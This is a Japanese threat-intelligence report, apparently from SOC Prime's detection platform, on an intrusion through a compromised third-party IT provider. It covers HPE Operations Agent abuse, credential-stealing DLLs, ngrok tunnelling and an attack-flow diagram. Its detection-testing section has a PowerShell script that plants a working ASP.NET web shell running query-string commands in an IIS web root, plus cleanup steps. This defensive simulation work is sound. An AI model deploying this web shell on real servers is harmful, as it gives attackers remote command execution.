SOC Prime Bias: クリティカル

18 May 2026 18:27 UTC

サードパーティの侵害を通じた隠密な侵入の調査

Author Photo
SOC Prime Team linkedin icon フォローする
サードパーティの侵害を通じた隠密な侵入の調査
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

概要

このレポートは、脅威アクターがサードパーティのITサービスプロバイダーを侵害し、正規のHPE Operations Agentを悪用してwebシェル、資格情報を盗み取るDLL、およびトンネリングユーティリティを展開したステルス侵入を調査します。信頼された管理ソフトウェアに依存し、騒がしいエクスプロイトを避けることで、攻撃者は明白な侵害の兆候を最小に抑えつつ長期的なアクセスを維持できました。

調査

Microsoft Incident Responseは、インターネットに接続されたサーバーでの初期webシェルの展開からHPE Operations Agentを通じたVBScriptの実行までの活動を追跡しました。この調査により、ドメインコントローラー上での悪意のあるネットワークプロバイダおよびパスワードフィルターDLLの登録が明らかになり、採取された資格情報の再利用と環境全体の横移動を支援するためのngrokトンネルの使用が見つかりました。

緩和策

推奨される防御策には、信頼された第三者アクセスの削減と厳格な管理、LSA通知パッケージでの不正なDLL登録の監視、疑わしいwebシェルの変更の検出、厳格なエグレスフィルタリングの施行、すべてのエンドポイントでのEDRカバレッジの確保が含まれます。

応答

この活動が検出された場合、侵害されたシステムを隔離し、悪意のあるDLLとwebシェルを削除し、盗まれた資格情報を無効にし、不正なネットワークプロバイダを無効にし、収集されたアーティファクトを使用して横移動を追跡します。

"graph TB %% クラス定義 classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#e6e6e6 classDef malware fill:#ff9999 %% ノード u2013 初期アクセス action_initial_trusted["<b>アクション</b> – <b>T1199 信頼された関係</b><br/>サードパーティITサービスプロバイダーを妥協し、信頼できるHPE Operations Agentを使用して悪意のあるコードを実行します。"] class action_initial_trusted action tool_hpe_oa["<b>ツール</b> – <b>名前</b>: HPE Operations Agent (OA)<br/><b>目的</b>: ターゲットサーバー上でスクリプトを実行するための正規エージェント。"] class tool_hpe_oa tool %% ノード u2013 実行 action_execution_vbscript["<b>アクション</b> – VBScriptsの実行(T1059.005)<br/>システム、ネットワーク、およびADの検出のために<i>abc003.vbs</i>を実行します。"] class action_execution_vbscript action file_abc003["<b>ファイル</b> – <b>名前</b>: abc003.vbs<br/><b>タイプ</b>: Visual Basic Script"] class file_abc003 file %% ノード u2013 永続性 (Web シェル) action_persistence_webshell["<b>アクション</b> – <b>T1505.003 サーバーソフトウェアコンポーネント: Web シェル</b><br/>インターネットに接続されたサーバー上に<i>Errors.aspx</i>および<i>Signoff.aspx</i>webシェルを展開します。"] class action_persistence_webshell action file_errors["<b>ファイル</b> – <b>名前</b>: Errors.aspx<br/><b>機能</b>: リモートコマンド実行 web シェル。"] class file_errors file file_signoff["<b>ファイル</b> – <b>名前</b>: Signoff.aspx<br/><b>機能</b>: リモートコマンド実行 web シェル。"] class file_signoff file %% ノード u2013 永続性 (ネットワークプロバイダDLL) action_persistence_np_dll["<b>アクション</b> – <b>T1556.008 ネットワークプロバイダDLL</b><br/>ドメインコントローラー上に悪意のある<i>mslogon.dll</i>を登録してクリアテキストの資格情報をキャプチャします。"] class action_persistence_np_dll action file_mslogon["<b>ファイル</b> – <b>名前</b>: mslogon.dll<br/><b>場所</b>: C:UsersPublicMusicabc123c.d"] class file_mslogon file %% ノード u2013 永続性 (パスワードフィルターDLL) action_persistence_passdll["<b>アクション</b> – <b>T1556.002 パスワードフィルターDLL</b><br/>パスワード変更をインターセプトするためにDC01/DC02に<i>passms.dll</i>をLSA通知パッケージとして追加します。"] class action_persistence_passdll action file_passms["<b>ファイル</b> – <b>名前</b>: passms.dll<br/><b>場所</b>: C:ProgramDataWindowsUpdateServiceUpdateDirIpd"] class file_passms file %% ノード u2013 資格情報アクセス (ファイル) action_cred_in_files["<b>アクション</b> – <b>T1552.001 ファイル内の資格情報</b><br/>採取された資格情報をクリアテキストまたはエンコードされたファイルとしてディスクに保存します。"] class action_cred_in_files action %% ノード u2013 資格情報アクセス (OSダンピング) action_os_credential_dump["<b>アクション</b> – <b>T1003 OS資格情報ダンピング</b><br/>DLLベースのインターセプションは外部ツールなしで資格情報ダンプを提供します。"] class action_os_credential_dump action %% ノード u2013 横移動 (有効なアカウント) action_lateral_local["<b>アクション</b> – <b>T1078.003 有効なアカウント: ローカルアカウント</b><br/>採取した資格情報を再利用してRDPとSMBを通じて認証します。"] class action_lateral_local action %% ノード u2013 横移動 (リモートサービス) action_lateral_remote["<b>アクション</b> – <b>T1021 リモートサービス</b><br/>横移動のために暗号化されたngrokトンネルを経由したRDPセッションを確立します。"] class action_lateral_remote action %% ノード u2013 コマンドと制御 (プロキシ) action_c2_proxy["<b>アクション</b> – <b>T1090 プロキシ</b><br/>ngrokを多段プロキシとして展開し、隠れたC2チャネルを作成します。"] class action_c2_proxy action tool_ngrok["<b>ツール</b> – <b>名前</b>: ngrok<br/><b>目的</b>: トラフィックトンネリングのためのTCP/HTTPSトンネルを作成。"] class tool_ngrok tool %% ノード u2013 コマンドと制御 (プロトコルトンネリング) action_c2_tunnel["<b>アクション</b> – <b>T1572 プロトコルトンネリング</b><br/>検出を回避するためにngrokトンネル内にC2トラフィックをカプセル化します。"] class action_c2_tunnel action %% ノード u2013 収集 (ネットワーク共有ドライブ) action_collection_share["<b>アクション</b> – <b>T1039 ネットワーク共有ドライブからのデータ</b><br/>エクスフィルトレーション前にリモートSMB共有上にエンコードされた資格情報ファイルをステージングします。"] class action_collection_share action %% ノード u2013 防御回避 (DLLハイジャック) action_defense_dll["<b>アクション</b> – <b>T1574.001 実行フローのハイジャック: DLL</b><br/><i>msupdate.dll</i>は画像ファイルとして偽ってSMTPおよびSMB経由でデータをエクスフィルトレートします。"] class action_defense_dll action file_msupdate["<b>ファイル</b> – <b>名前</b>: msupdate.dll<br/><b>ペイロード</b>: icon02.jpegとして送信されるエンコードされたデータ。"] class file_msupdate file %% ノード u2013 永続性 (Winlogon ヘルパー DLL) action_persistence_winlogon["<b>アクション</b> – <b>T1547.004 Winlogon ヘルパー DLL</b><br/>ログオン時に実行を確保するためにWinlogonヘルパーとして<i>mslogon.dll</i>を登録します。"] class action_persistence_winlogon action %% 接続 u2013 攻撃の流れ action_initial_trusted –>|uses| tool_hpe_oa tool_hpe_oa –>|executes| action_execution_vbscript action_execution_vbscript –>|runs| file_abc003 action_execution_vbscript –>|leads to| action_persistence_webshell action_persistence_webshell –>|creates| file_errors action_persistence_webshell –>|creates| file_signoff action_persistence_webshell –>|enables| action_persistence_np_dll action_persistence_np_dll –>|installs| file_mslogon action_persistence_np_dll –>|enables| action_persistence_passdll action_persistence_passdll –>|installs| file_passms action_persistence_passdll –>|stores| action_cred_in_files action_cred_in_files –>|provides data for| action_os_credential_dump action_os_credential_dump –>|enables| action_lateral_local action_lateral_local –>|uses| action_lateral_remote action_lateral_remote –>|utilizes| tool_ngrok tool_ngrok –>|facilitates| action_c2_proxy action_c2_proxy –>|enables| action_c2_tunnel action_c2_tunnel –>|supports| action_collection_share action_collection_share –>|provides files for| action_defense_dll action_defense_dll –>|uses| file_msupdate action_defense_dll –>|supports| action_persistence_winlogon action_persistence_winlogon –>|relies on| file_mslogon %% スタイリング class action_initial_trusted,action_execution_vbscript,action_persistence_webshell,action_persistence_np_dll,action_persistence_passdll,action_cred_in_files,action_os_credential_dump,action_lateral_local,action_lateral_remote,action_c2_proxy,action_c2_tunnel,action_collection_share,action_defense_dll,action_persistence_winlogon action class tool_hpe_oa,tool_ngrok tool class file_abc003,file_errors,file_signoff,file_mslogon,file_passms,file_msupdate file "

攻撃の流れ

シミュレーションの実行

前提条件: テレメトリー&ベースラインの事前チェックが完了している必要があります。

根拠: このセクションは、検出ルールをトリガーするために設計された敵技術(T1199)の正確な実行を詳細に説明します。コマンドと説明は識別されたTTPを直接反映し、検出ロジックに期待される正確なテレメトリを生成することを目的としています。

  • 攻撃の流れ及びコマンド:

    1. 初期侵害: 攻撃者がwebルートへの書き込みアクセスを獲得します(例: 盗まれた資格情報または脆弱なアップロードエンドポイントを介して)。
    2. webシェル展開: 攻撃者は、ASP.NET Webシェルを展開し名前を付けます Errors.aspx (または既存のものを修正 Signoff.aspx)それは問い合わせ文字列を介して提供された任意のPowerShellコマンドを実行します。
    3. シェルのトリガー: 攻撃者は、PowerShellのペイロードを持ってシェルにHTTP GETリクエストを送信します cmd パラメーター、例: https://corp.example.com/Errors.aspx?cmd=whoami。このリクエストはIISによってログが収集されます。これにより、 cs-uri-stem 値は /Errors.aspx – これはSigmaルールが一致するものです。
  • 回帰テストスクリプト: スクリプトは手順2-3を再現します(アップロードは、事前作成されたファイルをwebルートにコピーすることでシミュレートされます; トリガーは Invoke-WebRequest).

    # -------------------------------------------------
    # Webシェルシミュレーションスクリプト – Windows Server/IIS
    # -------------------------------------------------
    param (
        [string]$WebRoot = "C:inetpubwwwroot",
        [string]$ShellName = "Errors.aspx",
        [string]$Payload = "whoami"
    )
    
    # 1. テスト用の最小のASP.NET webシェルをデプロイ
    $shellContent = @"
    <%@ Page Language="C#" %>
    <% 
    string cmd = Request.QueryString["cmd"];
    if (!String.IsNullOrEmpty(cmd)) {
        System.Diagnostics.Process.Start("cmd.exe", "/c " + cmd);
    }
    %>
    "@
    
    $shellPath = Join-Path $WebRoot $ShellName
    Set-Content -Path $shellPath -Value $shellContent -Encoding UTF8 -Force
    
    Write-Host "[+] webシェルを$ $shellPathに展開しました"
    
    # 2. 新しいファイルを登録するためにwebサーバーに少し時間を与える
    Start-Sleep -Seconds 2
    
    # 3. 検出をトリガするログエントリを生成するためにwebシェルを呼び出す
    $uri = "http://localhost/$ShellName?cmd=$Payload"
    Invoke-WebRequest -Uri $uri -UseBasicParsing | Out-Null
    
    Write-Host "[+]  $uriを介して webシェルをトリガしました"
    # -------------------------------------------------
  • クリーンアップコマンド: テスト用のwebシェルと残留ファイルを削除します。

    # クリーンアップスクリプト – シミュレートされたwebシェルを削除
    param (
        [string]$WebRoot = "C:inetpubwwwroot",
        [string]$ShellName = "Errors.aspx"
    )
    $shellPath = Join-Path $WebRoot $ShellName
    if (Test-Path $shellPath) {
        Remove-Item -Path $shellPath -Force
        Write-Host "[+] $shellPathを削除しました"
    } else {
        Write-Host "[-] シェルファイルが見つかりません;掃除するものはありません。"
    }